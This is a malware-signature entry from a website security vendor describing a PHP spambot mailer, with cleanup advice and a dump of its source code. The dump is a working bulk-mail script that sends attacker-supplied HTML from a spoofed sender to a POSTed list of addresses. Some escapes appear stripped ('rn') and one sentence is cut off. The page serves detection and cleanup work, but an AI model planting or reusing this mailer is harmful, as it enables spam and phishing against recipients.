Malware Signatures

  1. Home
  2. Malware Signatures
  3. php.mailer.spambot.001

php.mailer.spambot.001

PHP mailers are, as the name suggests, tools intended to send e-mails using php commands. CMSs like WordPress, Joomla or Magento have builtin functions to send e-mails. However, malware creators have their own specially crafted scripts to send messages. Such scripts can be used for sending spam, phishing e-mails, flooding mailboxes or stealing and sending sensitive data back to the malware creators.
HP mailers are often part of various spam bots and other malware types, or are used for sending sensitive data back to attackers. They often use the POST method to receive the e-mail addresses and other data.
Spambots are PHP files with the objective of sending malicious messages to a list

Affecting

Any vulnerable PHP based website. Outdated software or compromised passwords can act as an infection vector.

Cleanup

Inspect your site's files looking for mail() functions on files that you don't recognize.
Check your site's access_logs for any sign of suspicious POST request, this may point out which files are being used for sending the unwanted messages.
Also you can sign up with us and let our team remove the malware for you.

Dump

<?php
$testa = $_POST['veio'];
if($testa != "") {
$message = $_POST['html'];
$subject = $_POST['assunto'];
$nome = $_POST['nome'];
$de = $_POST['de'];
$to = $_POST['emails'];

$headers = "MIME-Version: 1.0rn";
$headers .= "Content-type: text/html; charset=iso-8859-1rn";

$email = explode("n", $to);
$headers .= "From: ".$nome." <".$de.">rn";
$message = stripslashes($message);

$i = 0;
$count = 1;
while($email[$i]) {
$ok = "ok";
if(mail($email[$i], $subject, $message, $headers))
echo "* N&#1098;mero: $count <b>".$email[$i]."</b> <font color=green>NoturnO_=_2oo8 =)</font><br><hr>";
else
echo "* N&#1098;mero: $count <b>".$email[$i]."</b> <font color=red>ERRO AO ENVIAR</font><br><hr>";
$i++;
$count++;
}
$count--;
if($ok == "ok")
echo "";

}

?>